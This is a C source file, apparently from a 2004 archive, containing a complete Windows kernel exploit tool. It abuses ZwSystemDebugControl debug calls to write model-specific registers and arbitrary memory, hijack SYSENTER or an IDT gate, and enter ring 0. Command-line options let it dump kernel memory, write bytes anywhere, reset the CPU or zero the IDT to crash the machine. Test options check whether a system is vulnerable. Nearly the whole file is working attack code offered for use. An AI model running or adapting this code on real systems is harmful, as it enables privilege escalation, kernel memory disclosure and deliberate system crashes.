home *** CD-ROM | disk | FTP | other *** search
Text File | 2004-03-03 | 20.8 KB | 1,035 lines |
- /*
- * Discovered and coded Jan 25, 2004
- * Copyright (C)2004 randnut@hotmail.com
- */
-
- #include <windows.h>
- #include <stdio.h>
-
- typedef int NTSTATUS;
- #define NTAPI __stdcall
-
- const IA32_SYSENTER_CS = 0x174;
- const IA32_SYSENTER_ESP = 0x175;
- const IA32_SYSENTER_EIP = 0x176;
-
- const SelCodeKernel = 0x8;
- const CmosIndx = 0x0E; // CMOS Diagnostic Status
- const RdWrIoPort = 0x80;
-
- #define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}
- #define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;}
-
- typedef enum _DEBUG_CONTROL_CODE {
- DebugSysReadIoSpace = 14,
- DebugSysWriteIoSpace = 15,
- DebugSysReadMsr = 16,
- DebugSysWriteMsr = 17,
- DebugSysReadBusData = 18,
- DebugSysWriteBusData = 19,
- } DEBUG_CONTROL_CODE;
-
- typedef struct _MSR_STRUCT {
- DWORD MsrNum; // MSR number
- DWORD NotUsed; // Never accessed by the kernel
- DWORD MsrLo; // IN (write) or OUT (read): Low 32 bits of MSR
- DWORD MsrHi; // IN (write) or OUT (read): High 32 bits of MSR
- } MSR_STRUCT;
-
- typedef struct _IO_STRUCT {
- DWORD IoAddr; // IN: Aligned to NumBytes,I/O address
- DWORD Reserved1; // Never accessed by the kernel
- PVOID pBuffer; // IN (write) or OUT (read): Ptr to buffer
- DWORD NumBytes; // IN: # bytes to read/write. Only use 1, 2, or 4.
- DWORD Reserved4; // Must be 1
- DWORD Reserved5; // Must be 0
- DWORD Reserved6; // Must be 1
- DWORD Reserved7; // Never accessed by the kernel
- } IO_STRUCT;
-
- // Copied from the Windows DDK
- typedef enum _BUS_DATA_TYPE {
- ConfigurationSpaceUndefined = -1,
- Cmos,
- EisaConfiguration,
- Pos,
- CbusConfiguration,
- PCIConfiguration,
- VMEConfiguration,
- NuBusConfiguration,
- PCMCIAConfiguration,
- MPIConfiguration,
- MPSAConfiguration,
- PNPISAConfiguration,
- SgiInternalConfiguration,
- MaximumBusDataType
- } BUS_DATA_TYPE, *PBUS_DATA_TYPE;
-
- // See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of
- each field
- typedef struct _BUS_STRUCT {
- ULONG Offset;
- PVOID Buffer;
- ULONG Length;
- BUS_DATA_TYPE BusDataType;
- ULONG BusNumber;
- ULONG SlotNumber;
- } BUS_STRUCT;
-
- typedef
- NTSTATUS
- (NTAPI *PZwSystemDebugControl)(
- DEBUG_CONTROL_CODE ControlCode,
- PVOID InputBuffer,
- ULONG InputBufferLength,
- PVOID OutputBuffer,
- ULONG OutputBufferLength,
- PULONG ReturnLength
- );
-
- PZwSystemDebugControl ZwSystemDebugControl = NULL;
-
- enum Ring0Method {
- Method1,
- Method2,
- };
-
- struct OldCpuState
- {
- Ring0Method meth;
- MSR_STRUCT msr[3];
- DWORD AffinityMask;
- DWORD EFLAGS, CS, SS, OldIdtDesc[2];
- };
-
- void help()
- {
- printf("Usage: name_of_program [option [option [...]]]\n");
- printf("/test1 - test for SYSENTER vuln\n");
- printf("/test2 - test for I/O write to mem
- vuln\n");
- printf("/test3 - test for bus write to mem
- vuln\n");
- printf("/reset - reset CPU in ring 0\n");
- printf("/zeroidt - zero IDT (reboots PC)\n");
- printf("/wrmem <addr> <byte> - write byte to mem\n");
- printf("/rdmsr <num> - read MSR\n");
- printf("/wrmsr <num> <hi> <lo> - write MSR\n");
- printf("/rdio <port> <size> - read I/O port\n");
- printf("/wrio <port> <size> <value> - write I/O port\n");
- printf("/dump <addr> <size> - dump memory from ring 0\n");
- exit(0);
- }
-
- int rdmsr(int MsrNum, MSR_STRUCT& msr)
- {
- msr.MsrNum = MsrNum;
- return ZwSystemDebugControl(DebugSysReadMsr, &msr, sizeof(msr), NULL, 0,
- NULL) >= 0;
- }
-
- int wrmsr(int MsrNum, MSR_STRUCT& msr)
- {
- msr.MsrNum = MsrNum;
- return ZwSystemDebugControl(DebugSysWriteMsr, &msr, sizeof(msr), NULL, 0,
- NULL) >= 0;
- }
-
- void PrintMsr(MSR_STRUCT& msr)
- {
- printf("MSR %08X = %08X_%08X\n", msr.MsrNum, msr.MsrHi, msr.MsrLo);
- }
-
- int HasSysEnter()
- {
- int retval = 0;
-
- __try
- {
- __asm
- {
- mov eax,1
- cpuid
- shr edx,12
- adc retval,0
- }
- }
- __except (EXCEPTION_EXECUTE_HANDLER)
- {
- }
-
- return retval;
- }
-
- int SetProcessor(DWORD NewAffinityMask, DWORD* pOldAffinityMask)
- {
- DWORD tmp;
-
- FCHK(!pOldAffinityMask || GetProcessAffinityMask(GetCurrentProcess(),
- pOldAffinityMask, &tmp));
- FCHK(SetProcessAffinityMask(GetCurrentProcess(), NewAffinityMask));
-
- return 1;
- }
-
- /*
- * Returns < 0 on error. If ppAddr != NULL, returns 0x100 on success.
- * If ppAddr == NULL, returns byte read on success.
- */
- int CmosRead(int offs, BYTE** ppAddr = NULL)
- {
- BYTE buf;
- BUS_STRUCT bus;
-
- bus.BusDataType = Cmos;
- bus.BusNumber = 0;
- bus.SlotNumber = offs;
- bus.Buffer = ppAddr ? *ppAddr : &buf;
- bus.Offset = 0;
- bus.Length = 1;
-
- if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0,
- NULL) < 0)
- return -1;
- else
- return ppAddr ? 0x100 : buf;
- }
-
- /*
- * Returns 0 on failure, 1 on success
- */
- int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)
- {
- BUS_STRUCT bus;
-
- bus.BusDataType = Cmos;
- bus.BusNumber = 0;
- bus.SlotNumber = offs;
- bus.Buffer = ppAddr == NULL ? &val : *ppAddr;
- bus.Offset = 0;
- bus.Length = 1;
-
- return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL,
- 0, NULL) >= 0;
- }
-
- /*
- * Write a byte to any location by exploiting another bug in the kernel. This
- function
- * uses DebugSysWriteIoSpace and DebugSysReadIoSpace to write the byte to any
- address.
- * This code must execute in ring 3.
- */
- int Method1_WriteMemByte(DWORD MemAddr, BYTE Value)
- {
- IO_STRUCT io;
-
- memset(&io, 0, sizeof(io));
- io.IoAddr = RdWrIoPort;
- io.pBuffer = &Value;
- io.NumBytes = 1;
- io.Reserved4 = 1;
- io.Reserved6 = 1;
- if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,
- NULL) < 0)
- return 0;
-
- memset(&io, 0, sizeof(io));
- io.IoAddr = RdWrIoPort;
- io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
- io.NumBytes = 1;
- io.Reserved4 = 1;
- io.Reserved6 = 1;
- if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,
- NULL) < 0)
- return 0;
-
- return 1;
- }
-
- /*
- * Read a byte from any location by exploiting another bug in the kernel.
- This function
- * uses DebugSysWriteIoSpace and DebugSysReadIoSpace to read the byte from
- any address.
- * This code must execute in ring 3.
- */
- int Method1_ReadMemByte(DWORD MemAddr)
- {
- BYTE Value;
-
- IO_STRUCT io;
- memset(&io, 0, sizeof(io));
- io.IoAddr = RdWrIoPort;
- io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
- io.NumBytes = 1;
- io.Reserved4 = 1;
- io.Reserved6 = 1;
- if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,
- NULL) < 0)
- return -1;
-
- memset(&io, 0, sizeof(io));
- io.IoAddr = RdWrIoPort;
- io.pBuffer = &Value;
- io.NumBytes = 1;
- io.Reserved4 = 1;
- io.Reserved6 = 1;
- if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,
- NULL) < 0)
- return -1;
-
- return Value;
- }
-
- int CmosTest()
- {
- int OldVal = CmosRead(CmosIndx);
- if (OldVal < 0)
- return 0;
-
- static int HasTested = 0;
- if (HasTested == 0)
- {
- HasTested = -1;
-
- if (!CmosWrite(CmosIndx, 0x55) || CmosRead(CmosIndx) != 0x55 ||
- !CmosWrite(CmosIndx, 0xAA) || CmosRead(CmosIndx) != 0xAA ||
- !CmosWrite(CmosIndx, (BYTE)OldVal))
- {
- printf("There's something wrong with your CMOS\n");
- return 0;
- }
-
- HasTested = 1;
- }
- else if (HasTested == -1)
- return 0;
-
- return 1;
- }
-
- /*
- * Write a byte to any location by exploiting another bug in the kernel. This
- function
- * uses DebugSysReadBusData and DebugSysWriteBusData to write the byte to any
- address.
- * This code must execute in ring 3.
- */
- int Method2_WriteMemByte(DWORD MemAddr, BYTE Value)
- {
- if (!CmosTest())
- return 0;
-
- int OldVal = CmosRead(CmosIndx);
- if (OldVal < 0)
- return 0;
-
- BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
- if (!CmosWrite(CmosIndx, Value) || CmosRead(CmosIndx, &p) < 0 ||
- !CmosWrite(CmosIndx, OldVal))
- return 0;
-
- return 1;
- }
-
- /*
- * Read a byte from any location by exploiting another bug in the kernel.
- This function
- * uses DebugSysReadBusData and DebugSysWriteBusData to read the byte from
- any address.
- * This code must execute in ring 3.
- */
- int Method2_ReadMemByte(DWORD MemAddr)
- {
- int OldVal, RetVal;
-
- if (!CmosTest())
- return -1;
-
- BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
- if ((OldVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, 0, &p) ||
- (RetVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, (BYTE)OldVal))
- return -1;
-
- return RetVal;
- }
-
- static int MemAccessMethType = -1;
- int SetMemAccessMeth(int NewMeth)
- {
- int old = MemAccessMethType;
-
- if (NewMeth == -1 || NewMeth == 1 || NewMeth == 2)
- MemAccessMethType = NewMeth;
-
- return old;
- }
-
- int WriteMemByte(DWORD MemAddr, BYTE Value)
- {
- switch (MemAccessMethType)
- {
- case 1:
- return Method1_WriteMemByte(MemAddr, Value);
-
- case 2:
- return Method2_WriteMemByte(MemAddr, Value);
-
- case -1:
- default:
- return Method1_WriteMemByte(MemAddr, Value) ||
- Method2_WriteMemByte(MemAddr, Value);
- }
- }
-
- int ReadMemByte(DWORD MemAddr)
- {
- switch (MemAccessMethType)
- {
- case 1:
- return Method1_ReadMemByte(MemAddr);
-
- case 2:
- return Method2_ReadMemByte(MemAddr);
-
- case -1:
- default:
- int RetVal;
- if ((RetVal = Method1_ReadMemByte(MemAddr)) >= 0 ||
- (RetVal = Method2_ReadMemByte(MemAddr)) >= 0)
- (void)0 /* Nothing */;
- return RetVal;
- }
- }
-
- /*
- * Tries to enter ring 0 by overwriting IA32_SYSENTER_EIP and executing
- SYSENTER.
- * Returns 1 on success. If it returns 1, EFLAGS.IF=0.
- */
- int Method1_EnterRing0(OldCpuState& old)
- {
- old.meth = Method1;
- if (!HasSysEnter())
- return 0;
-
- FCHK(SetProcessor(1, &old.AffinityMask));
- FCHK2(rdmsr(IA32_SYSENTER_CS, old.msr[0]), cleanup);
- FCHK2(rdmsr(IA32_SYSENTER_ESP, old.msr[1]), cleanup);
- FCHK2(rdmsr(IA32_SYSENTER_EIP, old.msr[2]), cleanup);
-
- DWORD Ring0Addr;
- __asm
- {
- mov Ring0Addr,offset ring0_addr
- }
-
- Sleep(100); // A more reliable way is to block all interrupts through the
- PIC.
-
- MSR_STRUCT msr;
- if (old.msr[0].MsrLo == 0) // SYSENTER not enabled
- {
- // IMPORTANT:
- // I assume the OS sets up the GDT as follows:
- // base:ring0 code
- // ring0 data
- // ring3 code
- // ring3 data
- // Will crash eventually if it's not setup that way
- msr.MsrLo = SelCodeKernel;
- msr.MsrHi = 0;
- FCHK2(wrmsr(IA32_SYSENTER_CS, msr), cleanup);
- }
-
- msr.MsrHi = 0;
- msr.MsrLo = Ring0Addr;
- FCHK2(wrmsr(IA32_SYSENTER_EIP, msr), cleanup2); // Let's hope we won't get
- interrupted after this call
-
- __asm
- {
- mov ecx,esp
- // Hmm, can't assemble SYSENTER or DB 0F,34
- jmp short $+3
- mov eax,9090340Fh
- ring0_addr:
- mov esp,ecx
- // Hot dog! :)
- }
-
- return 1;
-
- cleanup2:
- if (old.msr[0].MsrLo == 0)
- wrmsr(IA32_SYSENTER_CS, old.msr[0]);
- cleanup:
- FCHK(SetProcessor(old.AffinityMask, NULL));
- return 0;
- }
-
- /*
- * Enters ring 3
- */
- void Method1_LeaveRing0(OldCpuState& old)
- {
- MSR_STRUCT* pmsr = &old.msr[0];
- __asm
- {
- mov ebx,pmsr
-
- mov ecx,[ebx] // IA32_SYSENTER_CS
- mov eax,[ebx+8]
- mov edx,[ebx+0Ch]
- test eax,eax
- jz skip1
- wrmsr
- skip1:
-
- mov ecx,[ebx+10h] // IA32_SYSENTER_ESP
- mov eax,[ebx+10h+8]
- mov edx,[ebx+10h+0Ch]
- wrmsr
-
- mov ecx,[ebx+20h] // IA32_SYSENTER_EIP
- mov eax,[ebx+20h+8]
- mov edx,[ebx+20h+0Ch]
- wrmsr
-
- mov ecx,esp
- mov edx,offset ring3_code
- // Hmm, can't assemble SYSEXIT or DB 0F,35
- jmp short $+3
- mov eax,90350FFBh
- ring3_code:
- }
- if (old.msr[0].MsrLo == 0) // SYSENTER was not enabled
- wrmsr(old.msr[0].MsrNum, old.msr[0]);
-
- SetProcessor(old.AffinityMask, NULL);
- }
-
- /*
- * Tries to enter ring 0 by telling the kernel to write to the IDT with bytes
- we control.
- * Returns 1 on success. If it returns 1, EFLAGS.IF=0.
- */
- int Method2_EnterRing0(OldCpuState& old)
- {
- old.meth = Method2;
- FCHK(SetProcessor(1, &old.AffinityMask));
-
- DWORD Ring0Addr, EFLAGS, _CS, _SS;
- DWORD idt[2], idt_base, idt_limit;
- __asm
- {
- mov Ring0Addr,offset ring0_addr
- sidt idt+2
- movzx eax,word ptr idt+2
- mov idt_limit,eax
- mov eax,idt+4
- mov idt_base,eax
- pushfd
- pop eax
- mov EFLAGS,eax
- mov word ptr _CS,cs
- mov word ptr _SS,ss
- }
- old.EFLAGS = EFLAGS;
- old.CS = _CS;
- old.SS = _SS;
-
- #define IntNum 0xFF
-
- if (IntNum*8 + 7 > idt_limit)
- {
- printf("ERROR: The interrupt number is outside the IDT. Change it and
- recompile.\n");
- goto cleanup;
- }
-
- BYTE* pOldIdtDesc = (BYTE*)&old.OldIdtDesc;
- for (int i = 0; i < 8; i++)
- {
- int SomeByte;
- FCHK2((SomeByte = ReadMemByte(idt_base + IntNum*8 + i)) >= 0, cleanup);
- *pOldIdtDesc++ = (BYTE)SomeByte;
- }
-
- DWORD IdtDesc[2];
- IdtDesc[0] = (SelCodeKernel << 16) | (Ring0Addr & 0xFFFF);
- IdtDesc[1] = (Ring0Addr & 0xFFFF0000) | 0xEE00; // 32-bit interrupt gate,
- DPL3
-
- for (int i = 0; i < 8; i++)
- FCHK2(WriteMemByte(idt_base + IntNum*8 + i, *((BYTE*)&IdtDesc + i)),
- cleanup);
-
- __asm
- {
- xchg esp,eax
- int IntNum
- ring0_addr:
- xchg esp,eax
- // What do you know, it worked!
- }
-
- return 1;
-
- cleanup:
- FCHK(SetProcessor(old.AffinityMask, NULL));
- return 0;
- }
-
- /*
- * Enters ring 3
- */
- void Method2_LeaveRing0(OldCpuState& old)
- {
- DWORD idt[2];
- DWORD EFLAGS = old.EFLAGS;
- DWORD _CS = old.CS;
- DWORD _SS = old.SS;
- DWORD* pOldIdtDesc = &old.OldIdtDesc[0];
- __asm
- {
- sidt idt+2
- mov eax,idt+4
- mov ecx,pOldIdtDesc
- mov edx,[ecx]
- mov ecx,[ecx+4]
- mov [eax+IntNum*8],edx
- mov [eax+IntNum*8+4],ecx
-
- mov eax,esp
- push _SS
- push eax
- mov eax,EFLAGS
- and eax,not (1 shl 0Eh)
- push eax
- push _CS
- push offset ring3_addr
- iretd
- ring3_addr:
- }
-
- SetProcessor(old.AffinityMask, NULL);
- }
-
- int EnterRing0(OldCpuState& old)
- {
- /*
- * Method2 is safer than Method1
- */
- return Method2_EnterRing0(old) || Method1_EnterRing0(old);
- }
-
- void LeaveRing0(OldCpuState& old)
- {
- switch (old.meth)
- {
- case Method1: Method1_LeaveRing0(old); break;
- case Method2: Method2_LeaveRing0(old); break;
- default: __asm jmp short $
- }
- }
-
- int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)
- {
- TOKEN_PRIVILEGES tok;
-
- tok.PrivilegeCount = 1;
- tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;
-
- FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));
- FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));
-
- return 1;
- }
-
- void PrintDelay(int secs)
- {
- while (secs--)
- {
- printf("%d..", secs+1);
- Sleep(1000);
- }
- printf("NOW\n");
- }
-
- void PrintVulnMsg(int failed)
- {
- if (!failed)
- printf("Your operating system is vulnerable to this exploit.\n");
- else
- {
- printf("If this user account has the SeDebugPrivilege privilege then
- your\n");
- printf("OS doesn't appear to be vulnerable.\n\n");
- }
- }
-
- DWORD ReadMem(DWORD MemAddr, void* buf, DWORD bufsz)
- {
- if (!bufsz || !buf)
- return 0;
-
- #if 0
- /*
- * Will crash XP if we read from non-present memory so don't use this code
- */
- BYTE* p = (BYTE*)buf;
- for (DWORD i = 0; i < bufsz; i++)
- {
- int SomeByte;
- if ((SomeByte = ReadMemByte(MemAddr++)) < 0)
- break;
- p[i] = (BYTE)SomeByte;
- }
- return i;
- #else
- OldCpuState old;
- if (!EnterRing0(old))
- return 0;
-
- DWORD ret_val;
- __asm
- {
- sub esp,8
- sidt [esp+2]
- mov ebx,[esp+4]
- add esp,8
- push dword ptr [ebx+0Eh*8]
- push dword ptr [ebx+0Eh*8+4]
-
- mov eax,offset xcpt_handler
- mov [ebx+0Eh*8],eax
- mov [ebx+0Eh*8+4],eax
- mov word ptr [ebx+0Eh*8+4],8E00h
- mov word ptr [ebx+0Eh*8+2],cs
-
- mov ecx,bufsz
- mov esi,MemAddr
- mov edi,buf
- rep movsb
- jmp skip_xcpt
- xcpt_handler:
- add esp,8
- popfd
- pop eax
- skip_xcpt:
- pop dword ptr [ebx+0Eh*8+4]
- pop dword ptr [ebx+0Eh*8]
-
- mov eax,bufsz
- sub eax,ecx
- mov ret_val,eax
- }
-
- LeaveRing0(old);
- return ret_val;
- #endif
- }
-
- int DumpMem(DWORD MemAddr, DWORD size)
- {
- if (size == 0)
- return 1;
- if (MemAddr + size - 1 < MemAddr)
- return 0;
-
- DWORD OldMask;
- FCHK(SetProcessor(1, &OldMask));
-
- int ret = 1;
- const BytesPerLine = 16;
- while (size)
- {
- BYTE buf[BytesPerLine];
- DWORD addr = MemAddr - MemAddr % BytesPerLine;
- DWORD SizeRead = ReadMem(addr, buf, BytesPerLine);
-
- printf("%08X:", addr);
- for (int i = 0; i < BytesPerLine; i++)
- {
- if ((i & 3) == 0 && i != 0)
- printf("-");
- else
- printf(" ");
- if (addr < MemAddr || addr > MemAddr+size-1)
- printf(" ");
- else if ((DWORD)i >= SizeRead)
- printf("??");
- else
- printf("%02X", buf[i]);
- addr++;
- }
- printf(" ");
-
- addr = MemAddr - MemAddr % BytesPerLine;
- for (int i = 0; i < BytesPerLine; i++)
- {
- if (addr < MemAddr || addr > MemAddr+size-1)
- printf(" ");
- else if ((DWORD)i >= SizeRead)
- printf("?");
- else if (buf[i] >= 0x20 && buf[i] <= 0x7E)
- printf("%c", buf[i]);
- else
- printf(".");
- addr++;
- }
- printf("\n");
-
- size -= min(size, addr - MemAddr);
- MemAddr = addr;
- }
-
- SetProcessor(OldMask, NULL);
- return ret;
- }
-
- int main(int argc, char* argv[])
- {
- HMODULE hNtdll;
- FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);
- FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll,
- "ZwSystemDebugControl")) != NULL);
-
- HANDLE hToken;
- FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES |
- TOKEN_QUERY, &hToken));
- FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));
-
- for (int i = 1; i < argc; i++)
- {
- char* s = argv[i];
- if (*s != '/' && *s != '-')
- help();
- s++;
-
- if (!strcmp(s, "rdmsr") && i+1 < argc)
- {
- MSR_STRUCT msr;
- int num = strtoul(argv[++i], NULL, 0);
- if (rdmsr(num, msr))
- PrintMsr(msr);
- else
- printf("rdmsr(%08X) failed\n", num);
- }
- else if (!strcmp(s, "wrmsr") && i+3 < argc)
- {
- MSR_STRUCT msr;
- int num = strtoul(argv[++i], NULL, 0);
- msr.MsrHi = strtoul(argv[++i], NULL, 0);
- msr.MsrLo = strtoul(argv[++i], NULL, 0);
- if (!wrmsr(num, msr))
- {
- printf("wrmsr(%08X) failed\n", num);
- continue;
- }
- if (rdmsr(num, msr))
- PrintMsr(msr);
- else
- printf("rdmsr(%08X) failed\n", num);
- }
- else if (!strcmp(s, "rdio") && i+2 < argc)
- {
- IO_STRUCT io;
- memset(&io, 0, sizeof(io));
- DWORD Buffer;
- io.IoAddr = strtoul(argv[++i], NULL, 0);
- io.pBuffer = &Buffer;
- io.NumBytes = strtoul(argv[++i], NULL, 0);
- io.Reserved4 = 1;
- io.Reserved6 = 1;
-
- if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)
- {
- printf("Size must be 1, 2, or 4 bytes\n");
- continue;
- }
- if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0,
- NULL) < 0)
- {
- printf("Could not read I/O space\n");
- continue;
- }
- switch (io.NumBytes)
- {
- case 1: printf("0x%02X\n", (BYTE)Buffer); break;
- case 2: printf("0x%04X\n", (WORD)Buffer); break;
- case 4: printf("0x%08X\n", Buffer); break;
- default: printf("WTF\n"); break;
- }
- }
- else if (!strcmp(s, "wrio") && i+3 < argc)
- {
- IO_STRUCT io;
- memset(&io, 0, sizeof(io));
- DWORD Buffer;
- io.IoAddr = strtoul(argv[++i], NULL, 0);
- io.pBuffer = &Buffer;
- io.NumBytes = strtoul(argv[++i], NULL, 0);
- io.Reserved4 = 1;
- io.Reserved6 = 1;
- Buffer = strtoul(argv[++i], NULL, 0);
-
- if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)
- {
- printf("Size must be 1, 2, or 4 bytes\n");
- continue;
- }
- if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0,
- NULL) < 0)
- {
- printf("Could not write to I/O space\n");
- continue;
- }
- }
- else if (!strcmp(s, "reset"))
- {
- OldCpuState old;
- printf("Will reset computer in...");
- PrintDelay(3);
-
- if (!EnterRing0(old))
- {
- printf("Could not enter ring 0\n");
- continue;
- }
- __asm
- {
- push 0
- lidt [esp]
- pop esp
- inc esp
- push esp
- }
- LeaveRing0(old);
- printf("WTF\n");
- }
- else if (!strcmp(s, "wrmem") && i+2 < argc)
- {
- DWORD MemAddr = strtoul(argv[++i], NULL, 0);
- BYTE Value = (BYTE)strtoul(argv[++i], NULL, 0);
-
- if (!WriteMemByte(MemAddr, Value))
- {
- printf("Could not write the byte\n");
- continue;
- }
- }
- else if (!strcmp(s, "zeroidt"))
- {
- DWORD OldMask;
- if (!SetProcessor(1, &OldMask))
- {
- printf("SetProcessor() failed\n");
- continue;
- }
-
- DWORD idt[2];
- int idt_size, idt_base;
- __asm
- {
- sidt idt+2
- movzx eax,word ptr idt+2
- mov idt_size,eax
- mov eax,idt+4
- mov idt_base,eax
- }
- printf("Will start writing to IDT @ %08X in...", idt_base);
- PrintDelay(3);
-
- for (int j = 0; j <= idt_size; j++)
- {
- if (!WriteMemByte(idt_base + j, 0x00))
- {
- printf("Could not write the byte to address %08X\n", idt_base + j);
- break;
- }
- }
- if (j != 0)
- printf("WTF\n");
-
- SetProcessor(OldMask, NULL);
- }
- else if (!strcmp(s, "test1"))
- {
- if (!HasSysEnter())
- {
- printf("Sorry. SYSENTER/SYSEXIT instructions aren't supported by your
- processor.\n");
- continue;
- }
-
- int failed = 1;
- OldCpuState old;
-
- printf("Testing SYSENTER vulnerability in...");
- PrintDelay(3);
-
- if (Method1_EnterRing0(old))
- {
- failed = 0;
- Method1_LeaveRing0(old);
- }
-
- PrintVulnMsg(failed);
- }
- else if (!strcmp(s, "test2"))
- {
- int failed = 1;
- OldCpuState old;
-
- printf("Testing I/O write to memory vulnerability in...");
- PrintDelay(3);
-
- int OldWrite = SetMemAccessMeth(1);
- if (Method2_EnterRing0(old))
- {
- failed = 0;
- Method2_LeaveRing0(old);
- }
- SetMemAccessMeth(OldWrite);
-
- PrintVulnMsg(failed);
- }
- else if (!strcmp(s, "test3"))
- {
- int failed = 1;
- OldCpuState old;
-
- printf("Testing bus write to memory vulnerability in...");
- PrintDelay(3);
-
- int OldWrite = SetMemAccessMeth(2);
- if (Method2_EnterRing0(old))
- {
- failed = 0;
- Method2_LeaveRing0(old);
- }
- SetMemAccessMeth(OldWrite);
-
- PrintVulnMsg(failed);
- }
- else if (!strcmp(s, "dump") && i+2 < argc)
- {
- DWORD MemAddr = strtoul(argv[++i], NULL, 0);
- DWORD size = strtoul(argv[++i], NULL, 0);
-
- if (!DumpMem(MemAddr, size))
- printf("Could not dump memory\n");
- }
- else
- {
- help();
- }
- }
-
- return 1;
- }
-
-